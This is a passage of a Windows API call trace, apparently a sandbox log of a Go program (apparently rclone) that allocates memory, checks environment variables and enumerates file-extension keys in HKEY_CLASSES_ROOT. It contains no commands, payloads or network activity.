lpBuffer=0xc0004dedd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0181.184] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0004deea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0181.191] VirtualAlloc (lpAddress=0xc00073c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00073c000 [0181.193] VirtualAlloc (lpAddress=0xc00073e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00073e000 [0181.201] GetCurrentProcessId () returned 0x1698 [0181.203] SetEvent (hEvent=0x124) returned 1 [0181.204] SetEvent (hEvent=0x1ac) returned 1 [0181.204] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0181.562] VirtualAlloc (lpAddress=0xc00080c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00080c000 [0181.563] VirtualAlloc (lpAddress=0xc00080e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00080e000 [0181.564] VirtualAlloc (lpAddress=0xc000810000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000810000 [0181.564] VirtualAlloc (lpAddress=0xc000812000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000812000 [0181.565] VirtualAlloc (lpAddress=0xc000814000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000814000 [0181.565] VirtualAlloc (lpAddress=0xc000816000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000816000 [0181.567] VirtualAlloc (lpAddress=0xc000818000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000818000 [0181.568] VirtualAlloc (lpAddress=0xc00081a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00081a000 [0181.568] VirtualAlloc (lpAddress=0xc00081c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00081c000 [0181.569] SetEvent (hEvent=0x1ac) returned 1 [0181.569] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0181.688] SetEvent (hEvent=0x114) returned 1 [0181.688] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0181.692] SetEvent (hEvent=0x114) returned 1 [0181.692] SetEvent (hEvent=0x1b8) returned 1 [0181.692] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0181.697] VirtualAlloc (lpAddress=0xc000824000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000824000 [0181.698] VirtualAlloc (lpAddress=0xc000826000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000826000 [0181.698] VirtualAlloc (lpAddress=0xc000828000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000828000 [0181.704] GetEnvironmentVariableW (in: lpName="RCLONE_LOG_LEVEL", lpBuffer=0xc0004de000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0181.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xe94da0, lpParameter=0xc0002ad800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0181.710] CloseHandle (hObject=0x1c0) returned 1 [0181.710] GetProcAddress (hModule=0x7fffcb600000, lpProcName="RegEnumKeyExW") returned 0x7fffcb6157a0 [0181.710] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="*", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.711] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".386", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.711] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3fr", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.711] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3g2", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.711] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3gp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.711] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3gp2", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3gpp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3mf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".a", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aac", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ac3", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accountpicture-ms", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".acrobatsecuritysettings", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.712] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".adt", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".adts", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ai", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x10, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aif", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x11, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aifc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x12, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aiff", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x13, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".all", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x14, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".amr", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x15, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ani", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.713] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x16, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ans", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x17, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".api", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x18, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".appcontent-ms", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x19, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".appinstaller", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".application", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".appref-ms", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".appx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".appxbundle", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aps", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".arc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x20, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ari", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.714] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x21, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".arj", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x22, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".art", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x23, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".arw", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x24, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asa", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x25, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x26, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ascx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x27, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x28, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asm", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x29, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asmx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.715] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aspx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".au", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".avci", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".avcs", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x30, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".avi", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x31, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".avif", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x32, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".avifs", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x33, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bas", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x34, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bat", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.716] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x35, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bay", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.717] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x36, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bcp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.717] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x37, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bin", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.717] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x38, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bkf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.717] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x39, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".blg", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.717] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bmp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.717] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bsc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".c", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".c5e2524a-ea46-4f67-841f-6a9465d9d515", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cab", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".camp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x40, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cap", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x41, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cat", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x42, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x43, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cda", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x44, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cdmp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.718] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x45, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cdx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x46, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cdxml", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x47, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cer", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x48, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cgm", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] 